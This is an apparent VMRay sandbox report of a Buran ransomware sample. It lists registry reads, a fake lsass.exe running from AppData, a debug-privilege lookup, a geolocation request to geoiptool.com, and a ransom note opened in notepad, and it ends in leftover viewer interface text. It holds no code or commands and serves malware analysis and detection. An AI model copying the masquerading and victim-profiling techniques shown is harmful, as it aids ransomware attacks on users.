Open Key HKEY_CURRENT_USER\Software\Borland\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Borland\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Delphi\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran\Service - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 766
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 5
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 4
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 428
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 5
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 17
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 236
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 211
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 16
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 13
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 8
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 231
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 571
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 281
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 449
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 422
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 262
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Public Key, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Public Key, data = KlA2kgCuS55F1vldI6k6ykqHECgozbaqnYvqhxsl0Nv2mhkwecZEFLRDd57FuNaKz6j1QYoryzJd+kR0DwyOOcxXETxt3ESK2PdIjzC/IIQLrE8uS6lw5+XjqejNBAPjQcnvob1dUOiH9HjFgliUOe21VNtLrhKuGy2+7fiEVadcon/CqhCTvq5DRGO3fbU3I2WAzuMKrm3haT7HVOBcmCTvOOWTZOQ/iu4FWzodasGk4s1txdK3Q9WiekegT2O06YL9ok1Bujc8QtSLMuGLeqORhAiPWuW0E8HqD62yLEQoxV4kxm4GWXHEXl0hXN5e7CRMzRmvW3yO02W+wgajTvZCa6Lcby2sUe1wyoZZFOREBTaexupVycFFU9+VqgTUxg9p3qPBJASb4UHZs2dgCCo=, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Machine ID, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Machine ID, data = 7P9sRIDroCie6X+OVstY4bltF18/E9si5+OwhpHuW908VpWgzHj8qMR5m3Tzhf8bR7Ry7dgH7MBXAO5bO6dVxqcl4GQ8N7LIRdN5pLaF1mZpNU+j7aytWhV7iSDzC80h+0yVBKQIQAjklRBxLj0JyqA02MYMPnseSv3Dvv2SMMCdX01uELEsnq3XjWxtxCJqtsQR3M9CKzKxZ5JWuxdj6LnOii+dhEsYwgrkYnLRnrq/jxmGep8A85ofsllUolkqpSPPm+JUYjokG2vrmFeUDh0rCwLtuHBwqffNEjl8uLC3QJJ3vFLlW/hkmctKNF2aa50+JpUC2Ju9h3sYvNlNCzV3x0opYPDPVut8VrHkBXopzR/35TvE0Wz4C12WFSzE1bEwj688K9qKX90l0HzJq7ZmAHPlGFiXz/3BC2Q5vujl/t4iydHHDr5lqXFFO9ippmb8OYsuMjVJ7fQd6jj0Wr39xBmKItQcnEABtlDTI/7g7YAxAlJgKiJ+JaVde/ne+MO20weHpPEs5O5AEOVRq9DtpIYkXt3s236QcpW3ayBB+kZ0olRSAeow6xLdfrrMAbog13+Ogk6zWaAU13bFW22BNAjQdG3UgNzEquP51RLo5sbyRgpdvJ6YLX3ORCf89VqS5Dlb9H4tKkOHaWkPdAwwfIzrXcIiTxhFeG/1OUZCcwZDP5KdF+MM4/NXoL0BuqAFZua9nwd8um5CLb6X286Ko7vOaWbi3G9vAAeW+yYkBaixGtlsIVlVX7RfXwUOPIGuFf6JbWEKp3nf2WGzX+yuOrpjaFUEgINVN9ldtq7AHt0cpWHnX5J0jiwBzvu1D3CMN3TWWd66aFz4cXQOibAQaGWJ/XQ0Wja+fxYMpj3xLZxpl+e3UcGklQWDFIFKW4vdUqMK6cuF75WnBf3X8sYitV/hHCXgYE6lvpiqiAdXpuPS5Ec6Om3VzGejorLkeMzGbuaWRBuPnQOD3psWxfbHA3k5aub7qp/EyD1KeCEanKj41AS1oSH5Sg0yq5styuwIntLYdgVKaama7ObuzBxkazP42g+brgFtja/1HUPQbS4z/zItmuCIJHXBB8KewGolE5Z6GBRO7W22qWHXcaZHMCcozRaK26QPRr0ZfFAOKog9GG8gVvf9x1qkW9NmfoHjqcQDIeHBENVCjNuU0GKKheefagBMI4btOzZugVlzgBvu4CGMIU+BH6EvDek9C2wgkue1Dpe3BZ5DUN5vxnMUzEd4ZVRPr951C2VGc5qrc5Huzkxmvtj/kPw5LoIZpnNqOI8TZ0rawBRKeVxVUtgyJf6h1j/Vfn2qzOQxbHe+HR1LkfOjhP8k3//XamUR77QgVvX/5YAIyjUF6Q1b/+XL+/eXmkS3rlRFwh58IfhS88N4k/mrIvjX5/8JedT9Z8IaQqX02yjKfOhq1IXhmU2lIy7vr9HrcZ5OGTG8lDbsxXm9Re/hA6tVyMZaXfAocHkIlPu/xLf+BzofE4fWFHVhVcab63u4mKupIPz6ZLxYTWsbZTKALXJSuPq5I5nQvFRH/ZKcQeEvRetIKCeoYw/i5y15rKVXDeG/Wd7gXBhFHXOOm4oi4EgGR5RmQ9Z9H3IXkOPyBwy3Vy6Ox6/39Wt/rYLmG3nbTJxfswlI2i/pmpWYKk54AGkcBt+VMSYFXU+DyL53+I9HZpAKQXqlY8er3y3G6r3xoZqtXVc2ZuHwX0E5bwAh7Ij1YOETJmnKaaDwkQ==, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, data = 666, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 766
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 5
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 4
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 428
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 5
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 17
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 236
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 211
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 16
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 13
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 8
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 231
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 571
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 281
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 449
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 422
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 262
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create notepad.exe show_window = SW_SHOWNORMAL True 1
Fn
Module (32)
»
Operation Module Additional Information Success Count Logfile
Load C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.ENU base_address = 0x0 False 1
Fn
Load C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.EN base_address = 0x0 False 1
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe base_address = 0x10c0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x767b0000 True 1
Fn
Get Handle c:\windows\syswow64\oleaut32.dll base_address = 0x756b0000 True 1
Fn
Get Filename c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe, size = 261 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe, size = 261 True 1
Fn
Get Filename C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.EN process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe, size = 261 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceExA, address_out = 0x7684434f True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeTypeEx, address_out = 0x756b4c28 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNeg, address_out = 0x7572c802 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNot, address_out = 0x7572ec66 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAdd, address_out = 0x756d5934 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarSub, address_out = 0x7572d332 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMul, address_out = 0x7572dbd4 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDiv, address_out = 0x7572e405 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarIdiv, address_out = 0x7572f00a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMod, address_out = 0x7572f15e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAnd, address_out = 0x756d5a98 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarOr, address_out = 0x7572ecfa True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarXor, address_out = 0x7572ee2e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCmp, address_out = 0x756cb0dc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarI4FromStr, address_out = 0x756c6fab True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR4FromStr, address_out = 0x756d01a0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR8FromStr, address_out = 0x756c699e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDateFromStr, address_out = 0x756d6ba7 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCyFromStr, address_out = 0x756f6c12 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBoolFromStr, address_out = 0x756cdbd1 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromCy, address_out = 0x756d7fdc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromDate, address_out = 0x756c7a2a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromBool, address_out = 0x756d0355 True 1
Fn
User (1)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (3954)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 5
Fn
Sleep duration = 10 milliseconds (0.010 seconds) True 3937
Fn
Get Time type = Performance Ctr, time = 6318811776 True 1
Fn
Get Time type = Performance Ctr, time = 8213462996 True 1
Fn
Get Time type = Performance Ctr, time = 8213469016 True 1
Fn
Get Time type = Performance Ctr, time = 8213474415 True 1
Fn
Get Time type = Performance Ctr, time = 8213479676 True 1
Fn
Get Time type = Performance Ctr, time = 8213484977 True 1
Fn
Get Time type = Performance Ctr, time = 8213855491 True 1
Fn
Get Time type = Performance Ctr, time = 8213864702 True 1
Fn
Get Time type = Performance Ctr, time = 8213870092 True 1
Fn
Get Time type = Performance Ctr, time = 8213875325 True 1
Fn
Get Time type = Performance Ctr, time = 8213880676 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (3)
»
Operation Additional Information Success Count Logfile
Get Environment String name = TEMP, result_out = C:\Users\5P5NRG~1\AppData\Local\Temp True 2
Fn
Get Environment String name = WINDIR, result_out = C:\Windows True 1
Fn
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 39 bytes
Total Data Received 380 bytes
Contacted Host Count 1
Contacted Hosts 158.69.67.193
HTTP Session #1
»
Information Value
Server Name geoiptool.com
Server Port 80
Username -
Password -
Data Sent 39 bytes
Data Received 380 bytes
Operation Additional Information Success Count Logfile
Open Session access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = geoiptool.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://geoiptool.com True 1
Fn
Read Response size = 1024, size_out = 1024 True 19
Fn
Data
Read Response size = 1024, size_out = 872 True 1
Fn
Data
Read Response size = 1024, size_out = 0 True 1
Fn
Close Session - True 1
Fn
Process #47: notepad.exe
0 0
»
Information Value
ID #47
File Name c:\windows\syswow64\notepad.exe
Command Line "C:\Windows\System32\notepad.exe" C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\!!! YOUR FILES ARE ENCRYPTED !!!.TXT
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:02:07, Reason: Child Process
Unmonitor End Time: 00:04:27, Reason: Terminated by Timeout
Monitor Duration 00:02:20
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0x64c
Parent PID 0x52c (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 670
0x 794
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image